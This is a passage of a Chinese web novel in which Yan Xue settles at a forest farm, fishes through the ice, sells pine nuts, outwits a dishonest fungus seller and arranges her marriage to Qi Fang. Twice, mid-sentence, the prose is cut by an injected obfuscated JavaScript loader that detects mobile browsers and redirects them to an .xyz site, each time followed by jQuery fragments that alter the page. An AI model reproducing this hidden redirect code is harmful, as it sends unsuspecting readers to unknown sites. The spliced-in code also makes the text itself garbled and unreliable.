锅下火光明灭,映得严雪眼睛水量,一张巴掌大的俏脸红扑扑的,透出健康的光泽,哪有什么痛苦不耐,分明过得很如鱼得水。
“小祁来了啊,我就猜你得过来。”里屋的刘大牛媳妇出来跟他打招呼。
祁放瞬间回神,“刘婶儿。”先问过好,然后才看向严雪,“我过来接人。”
“接人着什么急?我和了面包饺子,中午留下来一起吃。”
刘大牛媳妇热情留人,几个小的也全仰头望向了严雪。
然而严雪还是放下柴火棍站起了身,“下次吧,我俩也好几天没见了,就那天来见了一面。”
她去洗脸盆边洗了手,见几个小的目光还追着,忍不住笑道:“烧一上午了,那些还不够你们吃?”
“那谁还嫌多啊。”刘春彩撇了撇嘴。
这小模样把严雪逗乐,伸手捏了把她的鼻子,“你好歹也让我歇歇。”进屋去拿围巾手套。
刘春彩好像这才看到门口长身玉立的祁放,“祁放哥,你也回来了啊?”
不知怎么的,祁放突然就想起刘卫国那句“跟她比跟我还亲”。
其实孩子的想法很简单,谁跟他玩得好,他就跟谁亲近。不多会儿严雪包裹好,刚出屋门,刘大牛媳妇又追了上来,“我才想起来,你俩先等一下。”
直接去仓房里提出两个装得满满当当的麻袋,“这两袋松子是小严的,你们看是拿回去自己卖,还是等我们家下去卖,帮你们捎着。”
“还有我的啊?”严雪难掩意外。
她跟着上山,就是想见识见识,顺便看看自己能不能干,根本没想过还能分东西。
毕竟松塔都是刘老爷子炸的,她和刘春彩只负责把松塔从厚厚的雪地上捡起来,跟刘老爷子轮流拖爬犁。
然而刘大牛媳妇显然没想让严雪白干活,“好歹你也出了力,这些天还没少帮着给敲出来。我跟你刘爷爷商量了,给你两袋应该的。”
那刘家可真够大方的,她和刘春彩第二天又去拉了一次,两天共弄回来三千多个松塔。按照大的一个能打二两最多二两半,小的能打出一两半的松子,顶多五六百斤,这两麻袋就得有一百多斤。
严雪见推辞不过,就看了眼祁放,“那大娘帮我放着吧,等我决定了,再过来找您拿。”
“行,我给你做上记号,你记得回来取。”
这回总算成功出了门,祁放手插在大衣口袋里,垂眸看了眼身旁的年轻姑娘,“你还上山了?”
刚从室内出来,身上还熏着暖和气,严雪围巾并没有拉严,露出白皙小巧的鼻尖,“跟着刘爷爷和春彩去了趟,还是春彩拉我去的,给我讲了好多东西,还帮我弄了棉乌拉、毡袜和腿绑。”
她毫不吝啬在祁放面前夸刘家人的好,但刘家人待人的确是热情,能做到这种程度却绝不是只出于热情。
祁放目光落在她那双弯弯的笑眼上,“你和春彩处得不错。”
“可能是陪她去卖过东西,有点革命感情吧。”想到小姑娘第一次见她那不高兴样儿,严雪笑容更盛。
今天出了太阳,冬日的阳光虽然不炽烈,撒在人身上,还是给那浓密如小扇子似的睫毛打下两片阴影。
终于感觉有点冷了,她拉了拉围巾,整张小脸立即缩进了包裹中。看得出来不仅不见任何狼狈,甚至比初见时更加从容。
也是,什么吃不了苦,什么跟其他人没法相处,全是他基于过去那点印象的主观推断。
事实上她这几天不仅过得如鱼得水,还弄到了自己来林场后的第一桶金……
祁放撇了下眼,再转回,依旧有些不知该说什么好。
还好前方就是岔路口,一边通往招待所,一边通往食堂。他抬眸看了看,“先吃饭。”
大队人马回归,食堂的伙食果然提升了不止一个档次,每天都有的白菜炖土豆里面都能看到肉了。
两人吃过饭,回到招待所,祁放刚进入房间,一直在后面抻头盯着的服务员就跟过来,打开了房门上的小窗,“这个不能关,也不能挡着。”
显然是防着两人在里面干点什么,这还是白天,晚上早查祁放的介绍信赶人了。
以前这男女关系抓得还真严啊……
严雪上辈子穷的时候什么旅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563193|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
店没住过,听着生命大和谐入睡是常有的事,闻言面不改色,倒是祁放多看了她一眼。
严雪装没看到,拎起服务员从新打满的暖水瓶涮了个杯子,“喝热水吗?”
“可以。”祁放摘了帽子,露出刚刚打理过的短发,靠坐在了炕沿的另一边。
头发剪短后,他五官的优越被完全凸显出来,眉高而眼深,鼻挺而唇薄。就是少了头发的遮挡,眉眼间那股冷淡也愈发清晰,甚至隐约透出股万事不感兴趣的懒怠,冲散了那双桃花眼本该具有的多情。
他食指摩挲了下杯沿,开口,声音也是淡淡的,“我目前在采伐队做锯手助手,每个月工资42块7,有15斤的粮票补贴。”
粮票补贴是除每个月27斤的供应外,单位额外给的,有轻重体力之分,一个月15斤完全是重体力劳动。
他目光落在严雪脸上,“除此之外,单位每年还给分一车柴火。”
这也是林业局的福利之一,和农村甚至和当地其他企业比起来,待遇绝对算好的,不然也不能被戏称为“林大头”。
但要是和燕京比,不仅辛苦,薪资待遇也没有多高,更绝算不上体面。严家已经在那场动乱中保全了自身,其实完全没必要和他绑在一起,度过那注定无望的下半生,除非这其中还有什么隐情。
祁放不是很想探究,既然她要留,他也不拦着,干脆把底都跟她交代清楚。
严雪也果然不是他记忆中那个娇气的小姑娘了,听到这些眉都没有皱一下,还露出思索,“那你每个月得给我25块生活费,我目前还没有工作。”
“可以,”祁放答应得痛快,“我每个月给你30。”
看这样子还挺大方,难怪人都没见到就先给了一百块彩礼。
严雪觉得这算是个不错的开始,提出之前就想好的另一个条件,“现在我没有工作,家务可以全包,你在家什么都不做也行。但如果我找到工作,或者有了其他收入,能同等负担起家庭支出,我要求家务平摊。”
这倒是符合她受过良好教育的出身,就是不知道她在这里能找到什么合适的工作。
祁放漫不经心想着,那边严雪已经睇过来一眼,看似玩笑实则认真,“你不会不同意我找工作吧?”
“没有,那是你自己的事。”祁放对别人的事向来没兴趣,只问:“还有吗?”
还有就是远在关外的继刚,但现在还不是时候。
严雪掩下眸,弯唇笑了笑,“暂时就这些,不过我随时保留追加的权利。”
这让祁放目光在她脸上停了片刻,似是探究,又似乎什么都没有,“那就尽快,我年后还得上山,三四月雪化才能下来。”
“那正好跟春彩说清楚,省的她总跟我推荐她哥哥。”严雪笑道。
她觉得祁放这人冷归冷,但比想象中好说话多了。她提什么条件他都答应,自己却一个都没提。
没想到不过是句玩笑,一直神色淡淡的男人却突然一滞,“你说刘卫国?”
祁放这才记起来,当初别人猜严雪是他妹子,他好像默认了。刘卫国问他严雪有没有对象,他也随口说了个“没”……
刚思及此,走廊里就传来了杂乱的脚步声。
没多久,刘春彩兴奋的小脸出现在了房门的小窗上,“严雪姐我把我哥带过来了,咱们去凿冰窟窿钓鱼啊~”
11. 钓鱼
几分钟后,严雪被刘春彩拉着,一马当先走在前面。
刘卫国和祁放稍微落后,一个才洗了澡又打理了头发胡子,看着的确浓眉大眼精神了不少,一个一如既往地冷淡沉默。
“我哥也挺好看的,我没说错吧?”刘春彩自以为小声地拐拐严雪。
被她用期待的眼神看着,严雪也就回了下头,状似认真打量,“是挺好看,长得像刘大娘。”
她话声更小,刘卫国却是个自来熟的,立即接道:“我长得其实像我舅。”
当时祁放就掀眸看了他一眼,瞬间让严雪想到刚在招待所提到刘卫国时,男人那个有些微妙的表情。
严雪可没有帮人解释的好品质,自然地转回去,问刘春彩:“冬天还可以钓鱼?”
“可以啊,”刘春彩说,“不过得会找地方,还得会做饵,不是谁都能钓的。”
小姑娘显然特地选了个能突出自家哥哥长处的项目,“弄这个全林场就没几个人比我哥更厉害,不信你问祁放哥,他以前也见过。”
真的,严雪都想回头问一句:“是吗?”看看祁放的表情了。
不过没等她有动作,刘卫国已经道:“那是你嘴馋,又不好意思说,故意拉祁放做幌子。”
说着话几人已经快走到河边,远远望去冰面上好几个打水凿出来的冰窟窿。
刘卫国却没有直奔主支,而是绕了个弯,选定下游分支,在一个水缓的地方开始凿。
“冬天水里缺氧,一凿开鱼都会凑到水面呼吸,一钓一个准儿。”
冰面有点厚,他和祁放两个人拿着铁签子一起凿,刘春彩还上手试了试,又没奈何地放开,半晌才凿出来一个不大的窟窿。
刘卫国把自制的鱼竿挂上饵料,刚放下去没多久,就勾上来一条尺余长的鳌花鱼。
“这得有一斤了吧?”严雪估算了下。
这种鱼她知道,鸭绿江鱼的一种,属食肉鱼类,因其肉质鲜美,一直挺贵的,常见的也就六七两重的样子。
刘卫国却道:“也就一斤沉吧,要论大还得是鲤鱼。鸭绿江每年都能钓上来二三十斤的,鱼身有腰粗,鱼鳞跟小镜子那么大,只能切了块卖,还不一定能卖完,最后都供给单位了,咱们林场以前就买过。”
说着鳌花往冰面上一甩,继续挂饵,鱼竿直接递给了严雪,“你也试试。”
“你怎么不叫我试试?”刘春彩不满。
刘卫国头也没抬,“你能有那个耐心烦?每次钓一会儿就把鱼钩拿起来看看,有鱼也跑了。”
刘春彩一听更不高兴,还欲再争辩几句,想到什么又不吱声了,只怂恿严雪,“严雪姐你快试试。”
严雪也不扭捏,蹲下/身接过了鱼竿,问刘卫国:“怎么弄?”
为了拿得稳,她甚至摘了手套,白皙纤细的手指就缩在袖子里,一动不动握着钓竿,仿佛感觉不到冷似的。
也因为这种专注,鱼竿一动就被她感知到了,适时甩上来一条一拿多长的鱼儿。
刘春彩辨认了一下,“是鲫鱼!”那声音,比她哥刚才钓到鳌花时还激动。
就是太激动了,不免传得远了些,立马有变声期的公鸭嗓在岸边响起,“鲫鱼有啥好高兴的?没见过世面。”
是几个和刘春彩差不多大的男孩子,刘春彩当时便瞪了回去,“我乐意!你管得着吗?”
几人一阵笑,明明看到刘卫国和祁放就在场,也不打怵,还笑着拎了拎手里的冰鞋,“钓鱼有啥好玩儿的?还不如跟我们去滑冰。”
“滑冰才没意思,我就喜欢钓鱼!”刘春彩又瞪了对方一眼,转过身拿背对着他们。
后面几个人再怎么说,她也不肯转头,更不肯接话。等人走远了,才抬起脑袋朝那边望了一眼。
严雪离得近,分明从她眼神中看到了羡慕,还有丝难以隐藏的黯然。
来林场这些天,好像的确没见她去河上滑过冰,刘家其他孩子也不去,明明用木头和八号铁丝就能做出最简单的冰鞋。
冰窟窿边一时有些安静,刘卫国正要岔开话题,“看这回我给你们钓个大的。”一直没怎么做声的祁放也开口了,“过两天能不能再钓一回?”
“咋了?你要吃?”刘卫国有些意外,祁放可从来不是那好吃的人。
然后他就听祁放轻描淡写说:“过两天我和严雪结婚,缺菜。”
“啪!”
刘卫国手上的鱼竿掉了。
“鱼竿鱼竿!”刘春彩下意识提醒,喊完才后知后觉,“啥?你跟严雪姐结婚?”
兵荒马乱,简直是兵荒马乱。
鱼竿虽然被刘卫国眼明手快抢了回来,装饵料的小盒却被带翻,全撒进水里便宜了那些傻鱼。
于是这鱼也不用钓了,滑不滑冰的更是再没人在意,刘卫国把东西一收,直接将祁放拉去一边拷问。
刘春彩打击更大,看好的嫂子人选就这么被抢了,回到家还一直在念叨:“不是亲戚家妹妹吗?咋又要结婚?”
刘大牛媳妇倒是早看出来了,“亲妹妹也没有大老远跑哥哥这来,一住好多天的,除非想在这找对象。可真要好到能奔着他来这边找对象,小祁以前怎么也该提过,你见他提过吗?”
“那他咋不早说?”刘春彩扁着嘴,显然还很不高兴。
刘卫国从河边回来后,也摊平四肢躺在了家里温暖的抗上,“对啊,我问他妹子有没有对象,他还跟我说没有。”
“八字还没一撇呢,就到处嚷嚷,万一没成咋办?”
刘大牛媳妇就坐在旁边缠线,闻言白了儿子一眼,“再说人家的确没对象,成了直接结婚,不成回家。“
“那小子可不是这么说的,他说未婚夫不算对象。”
刘卫国哼哼,立马又被亲妈白了眼,“你整这一死出,咋啦?看上人家小严了?”
“我那不是以为真是他妹子吗?”
刘卫国才说完,就被刚收拾完鱼进来的自家老爸踢了脚,“瞧你那点出息,见着个好看姑娘就惦记。”
“你不惦记?你不惦记给我姥家挑了两年水……”
“臭小子胆子肥了!”
一听刘大牛声音都变了,刘卫国爬起来就跑。
“才下山就闹腾,也不嫌乎类。”刘大牛媳妇把缠好的线丢进针线筐,大线轴塞进柜子里,抬头看了眼墙上的阳历牌,“年前就这几天,年后初八上班,怎么偏选在这个时候?时间太紧了。”
严雪拿着本子坐在写字桌前,也觉得这时间有点紧。
招待所实在不方便说话,祁放回去看过人都差不多回家过年了,便把严雪带到了宿舍。
这边条件要比山上好不少,不仅有炕,还有写
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563194|171407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字桌和板凳,桌上恭恭敬敬放了本领导人语录,供大家学习。
严雪是个行动力强,又做事有条理的,进来摘了围巾手套,就开始盘算,“就这十三四天时间,过年肯定不行,剩下的你觉得哪天合适?”
“如果能租到房子,就腊月二十八。”祁放弯身在柜子里找着东西。
严雪看了眼日历,“二月十四号啊。”
“不好?”
倒不是不好,而是这个日期太凑巧,大名鼎鼎的情人节。
不过这年代应该没人知道,更没人会过,严雪在本子上写下来,“就是觉得有点赶,只剩不到五天时间。”
她这么说,祁放也没再问,拿出个一尺见方的木头箱子放到炕上打开,“房子我去找。”
“那我就不管了。”严雪划掉这一项,“家具现打肯定来不及,也先放着,重要的是把行李和衣服做出来。”
话刚落,手边就落下一沓纸票,“布票。”
又几张,“棉花票。”
接着还有工业票,最后是一小摞钱,粗略一看竟然得有三四百。
严雪惊讶了,“你这几年一分没花吗?”
年轻单身男性通常不怎么会过日子,他是怎么攒下这么些的?平时连件衣服都不做的么?
祁放没说话,锁上箱子又放回了柜子里。
严雪也便没再问:“那明天就去趟镇上,先把要用的东西买了。”
“明天恐怕不行。”
“你不是放假了?”严雪诧异抬头。
窗外光线渐暗,男人背对着光,乍一看去也不知道是否被问得沉默了下,“林场安排我上山看机库,我得让他们另安排人,明天不一定能安排好。”
所以他这是对自己多没自信,下意识便觉得她来看过后会悔婚?
严雪疑惑地打量他片刻,见他始终垂眸,自己也收回视线,“那我自己去,你要是还有时间就去找找房子。”
估计要买的东西不少,她还特地去刘家借了个爬犁。
不是那个大的,是半米来宽的小的,刚好能坐下一个人,拖东西也不过一两百斤。
去的时候没见到刘春彩,倒是刘卫国看起来一切如常,还帮着刘大牛媳妇把她那两袋松子搬了出来。
估计刘大牛媳妇也不知道祁放要去看机库,还以为是两个人一起。不然听说严雪要去镇上,搞不好会提出陪着去。
去一趟镇上既费时间又费钱,两人实在不想麻烦对方,也就没解释,由祁放先将东西拖回去,第二天早上再送上小火车。
“搬不动就找乘务员帮忙。”男人将东西放好,还低声嘱咐了句。
严雪还记得自己当初是怎么被小火车强行带走的,朝他摆手,“我知道了,你快下去吧,别一会儿下不去了。”
这是真不在意有没有人陪着?
祁放看她一眼,转身下车了。
严雪还记得这年代车上小偷不少,除了买票的四毛钱,剩下的都塞进了缝在衣服内里的口袋,只留意着爬犁和松子。
车子刚开始晃动,最后一个人也上来了,将背筐放在她对面的座位。
严雪本是随意一瞟,没想到对方刚好也朝她望来,两人四目相对,严雪的眼睛当时就眯了起来。
哟呵,老熟人!
或许更该说是……老仇人……
12. 木耳
对这位连小孩子都欺负的王爷爷,严雪过后可是听说了不少。
他家住得离刘家不远,有时候刘老爷子打的猎物较多,还会分给他们家一些,所以刘大牛媳妇才会找了他帮忙。
但这位显然不只是光吃东西不办事,关键时刻还反坑你一把,也是比较少见了。
而且刘大牛媳妇听了事情的经过,虽然生气,也不好真上门和一个长辈计较。没想到长辈却先和她计较上了,一回去就大骂刘春彩和严雪不是人,盯着抢他的生意,真实上演什么叫恶人先告状。
事情传到刘家人耳朵里,差点没把刘大牛媳妇气死,后来在外面碰上王家人,都没个好脸色。
此刻两人在小火车上碰到,对方这显然是又去镇上卖东西,严雪保持着脸上的微笑不动声色。
王老头也认出了严雪,冷哼一声,坐下来将背筐放到脚边的时候,差点没给地上砸出个坑。
结果刚放完,乘务员就来了,“年底人多,东西能放架子上放架子上,能放座底下放座底下。”一眼就看到了老头儿的背筐。
王老头只能将背筐拿起来放到了架子上,乘务员又指地上的麻袋,“这俩是谁的?也收一下。”
这么重的东西可没法往上放,严雪直接将麻袋放倒,塞进了座位底下。
乘务员没再说什么,提醒着注意个人财务走了,王老头的目光却落在了那两个麻袋上,“你这是松子?”
严雪只是笑,“您放心,不抢您的生意。”
“你也得有那本事。”老头儿一哼,臭着脸不吱声了。
年底果然人多,小火车才行过两站,就连过道里都站满了人,车厢里不时传来家禽的叽喳,堪比一个迷你小市场。
严雪下车的时候,费了不少劲才把两个麻袋搬到爬犁上,拖着到了车门口,向下搬又成了问题。
乘务员见状,赶紧帮她提了一个。
严雪道过谢,刚要回头拿第二个,王老头已经跟个年轻人一起,将东西拎了下来,“能不能快点儿?这都等着下车呢,你堵这别人咋走?”
语气很不好,下来将麻袋摔上爬犁,就背着背筐走了。
这么一来,倒弄得那年轻人有点尴尬,严雪朝对方笑笑,“多谢。”等人一走就把爬犁拖到角落,仔细检查了一遍。
她可不信王老头会有那么好心,就算嫌她太慢耽误时间,以那位的风格也未必会伸手,站在车上大声催促骂骂咧咧才更像他的风格。
果然被她查出问题来了,王老头和年轻人拎下来那个麻袋,有一个角破了道口子。
口子大概一寸长,破口处整齐,像是被什么割出来的。这要是她没检查,就这么拖着走,里面的松子肯定会撒出来,因为口子不大撒得不快,一时半会儿还很难发现。
这还当她真是什么都不懂的小姑娘,想怎么收拾就怎么收拾了?
严雪差点被气笑。
上辈子她混市场的时候,那才真是什么不入流的手段都见过,将麻袋破了口子那一角打上结,如常去了收购站。
收购站门前便有牌子,写了收什么,都多少钱收。严雪看了下,发现最值钱的是各种皮货,和人参、鹿茸、熊胆、天麻这类药材。
松子便宜很多,每斤三毛五。但凡是都架不住个多,两袋子卖下来,她还是净赚四十几块。
这都赶上祁放一个月工资了,还只是她一人的份儿,难怪李树武为了搞副业那么赶工,最终害了郭长安。
严雪将钱收好,又将倒空的麻袋折好绑在爬犁上,转身去了供销社。
这回她果断给自己买了双棉乌拉,然后才是做衣服和行李要用的布和棉花。
像毛巾、脸盆、暖瓶这类林场商店就能买到的,她直接跳过,剩下的算了算,还是狠狠心花二百五十块买了两块手表。
现在流行的“三转一响”,缝纫机她不会用,自行车林场用不着,收音机白天没有电。看时间的话小座钟倒是便宜,几十块就够了,但她和“祁放”要是都出去工作,在家的时间有限,还是手表更实用。
手表贴身收着,其他东西装进麻袋绑在爬犁上,严雪又朝小市场走去,看有没有什么能买来办酒席的。
刚进去,她便和王老头碰上了。只不过老头儿这回卖的不是冻蘑,而是黑木耳。
对方摊位前站着个男青年,二十出头的年纪,中等个子,身上也穿着林场肥肥大大的蓝灰色制服。长得还不错,就是眼睛有点小,还是个肿眼泡,严重拉低了颜值,看着也有些憨。
男青年蹲在那研究了半天,也没研究出个名堂,竟然问王老头送人买这个行不行。
这一看就是林场新招没几年的,什么都不懂,老油子还用出来买木耳,自己就能想办法弄到。
老头儿立马热情地拿起秤,“送人买这个就对了,我这都是最好的春耳,肉厚实,泡了还出数。不像那些伏耳秋耳,一大把也泡不出来多少,自己吃都不合适。”
不等对方说到底要不要买便称了半秤,“你看这些够不够?一斤六两。”
那男青年显然不是个善言辞的,竟然没想过还能拒绝,纠结半天也只说出一句:“一斤就行。”
“一斤哪够?送人买太少了也不好看不是。”
王老头根本没听,拿了报纸就要给他包,刚准备倒,一只素白的小手伸过来,在倾斜的秤口抓了一把。
顺着对方的动作,入眼的是一个熟悉的娇小身影。
严雪拨着手里的木耳,笑盈盈地问:“你说这是春耳?”表情揶揄,像是在说我看你挺会编啊。
王老头心里当即一沉,想想又觉得完全没有必要。
那小伙子一个林场职工都不会挑木耳,她一个外地来的小丫头能懂啥?还不是发现麻袋破了,故意来找他茬?
这他可不怕,她又没有证据,能空口白牙说是他弄的,他也能说是她诬赖。
老头儿斜眼睨过去,“这不是春耳,难道是秋耳?”
说着把秤往严雪手下一送,让严雪放回来,“要买就等会儿,不买拉倒。这别人称好的,你伸手就抓。”
“我没事儿,你可以先给这位女同志称。”那男青年脾气好得很,一点没发现两人间的暗涌。
严雪也就没把手里那把木耳放回去,而是似模似样打量起来,“我怎么看着就不像春耳呢?”
“你来找茬的是吧?”王老头一把将秤摔回了袋子里。
老头儿这一声不小,附近立马有人看了过来。因为他是老人家,怀疑的视线更是纷纷落在了两个年轻人身上。
那男青年显然不习惯这种注视,压低声音打圆场,“有话好好说,好好说。”
“是我不好好说吗?是她搁这儿找茬!”一有人打圆场,王老头声音更大了,“咋了?看我老头子好欺负是吧?”
“可能这位女同志不太懂……”
男青年还试图帮严雪解释,严雪脸上却似笑非笑,“我不过是问一嘴,你急什么?难不成我说对了?”
“少他妈放屁!”老头儿开始飙脏话了。
严雪也不打断,任由他口沫横飞发泄完,才笑容一敛,“春耳是入伏前生长的木耳,朵大,肉厚,色泽灰黑,吸水膨胀率大。不像伏耳肉薄,秋耳朵小,吸水膨胀率低,我没说错吧?”
王老头没想到她还真懂,一下子被噎住,半晌才强撑着道:“那又怎么样?”
“那您应该也知道,三种木耳里面春耳质量最好,都是采大留小,让未成熟的耳芽继续生长,只有伏耳和秋耳会大耳小耳一起采。”
别的严雪不一定知道,但她上辈子又要赚钱又要照看她爸,时间有限只能开了个网店,卖的就是蜂蜜、木耳、人参这些山货。
因为更熟悉,她才找了姑姥姥帮她找对象,才不远千里跑到这寒冷的关外来。
严雪看向老头儿,见对方有话要说又紧接着道:“我就当您懒得再去一次,大的小的一起采了,您这木耳颜色也太黑了点。”
她将手心摊开,掌心几朵木耳大小不一,颜色深黑,按照她刚才所说来分辨,的确不像是春耳。
别说刚刚差点就买了的男青年,附近围观的都有人不顾王老头难看的脸色,假装要买抓起一把细看。
严雪将手里的木耳放回去,“看颜色不像是春耳,看大小又不像是秋耳,您这是品质最差的伏耳吧?把伏耳当成春耳高价卖,我可不敢买。”
说完也不管周围人的反应,拉起爬犁便走。
麻袋那事她的确没有证据,但她也不是非得就此和对方讨一个说法,谁叫对方上赶着往她手里送小辫子呢。
围观那些人也不是她喊来的,会不会遭人议论,又会不会影响生意,自然也不关她的事。
严雪眼睛尖,已经看到不远处有人在卖野猪肉,赶紧加快脚步挤了进去。
要论香,野猪肯定比不上家猪,尤其是瘦肉,肉质特别粗糙。
但这东西不用肉票,还不限量,卖得也不贵,肥肉更是能拿回去榨油。严雪一问才六毛钱一斤,一口气买了二十多斤放在爬犁上。
剩下就没什么了,严雪逛到下午,就回森铁车站准备坐小火车回去。
上车的时候,她不禁想起那天单秋芳送她,来找人那小姑娘穿的冰鞋,又想到了刘春彩。
事后她问过“齐放”,听说刘家孩子之所以不去滑冰,是因为刘春彩之前还有个二哥,就是滑冰时掉进冰窟窿里没的。
主□□边打水的冰窟窿多,又不像钓鱼凿得小,弄不好很容易掉进去。如单秋芳家大强那样被及时救上来还好,刘春彩二哥因为救得不及时,捞上来不到半天就没了,刘家当然不敢再让孩子去滑冰。
别说刘家,这事一出,各家看孩子都比之前紧了。冰窟窿附近,还有春天河要开化的时候,都不叫孩子去河里滑冰放爬犁。
不过想滑冰,也不是一定得到冰面上去……
反正回去还得一个多小时,严雪拿出昨天写购物清单的本子,按在腿上开始勾画,没注意有人路过这边时犹豫了下,最终在她身旁的过道里站定。
13. 老实
齐放有点不相信会这么巧,刚在小市场帮过他的人,竟然还能在火车上遇到。
但年轻姑娘实在很眼熟,尤其是那双又圆又亮的大眼睛,一笑时像两弯月牙儿,哪怕不笑,眼睛里也总似蕴着一层笑意。
拉下脸上的围巾,她看起来更漂亮了,让人有点不敢去瞧,可他还是站住了脚。
反正、反正车上也没有座了,站哪里都一样……
齐放想着,不敢去看对方的脸,倒是不自觉往对方手上看了好几眼。
年轻姑娘手白白的,不算大,但手指很纤细修长,还不像这里很多人会有大骨节。她握着铅笔的姿势也很自然松弛,笔下更是流畅,简单几笔就勾勒出一只鞋子的模样,不见一点滞涩。
不同的是,她在鞋子下面画了四只轮子,画完似乎不太满意,又翻过一页重新画。
这回鞋子换成了鞋套,和冰鞋那样套在正常鞋外面,带有绑带,下面还是四只轮子。
齐放已经隐约猜出对方在画什么了,就是看得太专注,一时忘了其他,被小火车一晃,不小心撞到了姑娘肩膀上。
“对不起对不起!”他赶忙道歉。
严雪下意识回了句:“没事。”循着声音一抬头,才发现这个世界还真是小。
对方应该也认出她了,见她已经收回视线,为了确认什么又抬起眸,赶忙再次道歉,“刚才真是对不起。”
说着又不好意思挠头,“还有,今天谢谢你,不然我可能就买那份木耳送给我姑了。”
严雪并不是全然出于好心,也不领这份功,只笑着问:“那你买到合适的了吗?”
对方态度却特别认真,“买到了,在小市场另一份儿买的。”赶忙把手上拎着的纸包拿给她看。
“不用打开,小心弄洒了。”严雪有些无奈。
男青年又讪讪把纸包收了回去。
见他尴尬,严雪随口转了个话题,“这回送人肯定没问题了。”
没想到男青年更加挠头,“我本来是想送给我姑,顺便问她点事。但她老公公病重,跟着我姑父回老家了,没送出去。”
这还真是实诚,问什么答什么,还答得特别详细。
严雪前世蹲市场,开网店,难缠的顾客见得不少,倒是这种老实人没怎么见过,乍一碰到还怪不适应的。
她低下眸,拿铅笔顶端的橡皮去擦刚被碰歪的线条,“那还真是不巧,只能等她回来再送了。”
齐放“嗯”了声,目光顺着她的动作跟过去,想问点什么,又张不开嘴。
严雪没注意,发现蹭了半天没怎么蹭掉,纸还有点划破了,干脆再翻一页,把刚刚的图样又画了一遍。
她不说话,齐放也找不出什么话可以说,两人就这么一坐一站,直到乘务员过来提醒金川林场到了。
严雪合上本塞进书包,收拾东西准备下车,把旁边的齐放吓了一跳,“你到了?”
“嗯。”严雪已经拉上了围巾。
齐放急了,“那个,刚才你画的那个图,能不能送给我?”
“你说旱冰鞋?”严雪没想到他对这个感兴趣。
齐放哪知道旱冰鞋是什么,脸色涨红,“就、就你画坏那张就行。”
严雪虽然有点意外,但想想旱冰鞋对这年代的人还是挺新鲜的,她又不是不能再画,干脆把最好那张撕下来给了对方。
等人都下了车,车子重新启动,乘务员将车门锁好,路过时见齐放还在那站着,忍不住问了句:“人都走了,还不坐啊?旁边都空出来半天了。”
“不是,我看东西呢。”齐放赶忙拿起图纸解释。
这乘务员家也是小金川的,年龄跟齐放差不多,两人也算有几分熟悉。
齐放把纸摊开来给他看,“好像是什么旱冰鞋,挺复杂的,也不知道能不能做出来。”
“这以前还真没见过。”乘务员也来了点兴趣,“要不你找老闫叔试试,他家祖传的手艺,能打精细东西。”
齐放“嗯”了声,,仔细将纸折好,收进了口袋里。
金川没什么人上车,乘务员这会儿没事,干脆倚在椅背上跟他说话,“前阵子不是说你老家那边给你介绍了个对象,见着了没?”
“还没。”齐放今天去找他姑,就是为了问这事,毕竟这事本来就是他姑帮着联系的。
结果他姑不在家,还不知道啥时候能回来,他也只能等下次有时间再去了。
“你不是让人骗了吧?”乘务员开他玩笑。
他却认真摇头,“那不能,都是一个地方的,知根知底,可能是有啥事耽误了。”
严雪倒没在意那张图,一来她自己做不了,二来这东西不是必需品,也值不上什么钱。
这年代但凡是个玩的,能自己做都是家长自己做,比如冰鞋,比如木头枪,根本没有靠这个发家致富的土壤。她现在有很多事要做,也暂时顾不上,一回去就去找了刘大牛媳妇,问谁可以做行李和衣裳。
“我就知道你得来问这个。”刘大牛媳妇直接把自家被子搬下来一条给她看,“我自己絮的,你要觉得行,我就给你做了。”
年底正是活多的时候,对方愿意抽出时间帮她做,严雪自然感激不尽,说什么也把手工费给足了。
至于做衣裳,刘大牛媳妇也帮她找好了,还问她:“你家小祁呢?咋没跟你一起来?”
“他还有点事,等他忙完了,我再叫他过去量尺寸。”
一直到晚饭时间,严雪才见到祁放,“山上有人去了,房子我也去找了。”
男人裹着一身寒气进来,人也冷淡得仿佛冰雪雕就,这要是不开口说话,严雪都怀疑屋里再烧热点,能不能把他烤化了……
亏姑姥姥还说他一家都是老实人,明明差点买了王老头木耳那个才是真老实,也不知道到他这里是不是基因突变了。
还好严雪对老实人没什么执念,一听直接问:“有合适的吗?”
“只找到两处,一处是李树武家。”
林场目前没有公房,除了单身职工住的大宿舍,都是自建房,面积也都不大。自己家住着都够挤了,一旦有儿子结婚,要么盖新的,要么在原来的房子上接出来一块,想租还真不容易。
但李树武那两口子,严雪还真不是很想和他们做邻居。
祁放估计也不太想,不等她表示出什么,已经接着道:“再就是王连福家有一间。”
“那就先吃饭,吃完饭过去看看。”
正好今天刚买完东西,趁吃饭把账算算,省得他不知道钱都花哪去了。
没想到对于她都买了什么,男人没发表任何意见,甚至不太感兴趣的样子,饭后两人去看房,去王连福家的路她却越走越眼熟。
“你说的不会是这家吧?”严雪站在门外,表情有那么点微妙。
听她话音不对,祁放侧了眸,“他家有问题?”
“也不算有问题吧,是我跟他们家老爷子有那么点不愉快。”
严雪也不知道自己这是什么运气?找了半天只找到两处,一处李树武家,一处王老头家。
她伸出戴着手套的手捏了捏,表示只有那么一点点。
不等祁放再问,王家有人出来往雪堆里倒脏水,倒完正好看到他们,一眼认出祁放,“过来看房子了?快进来快进来。”
是个四十左右的女人,严雪猜可能是王老头的儿媳妇。
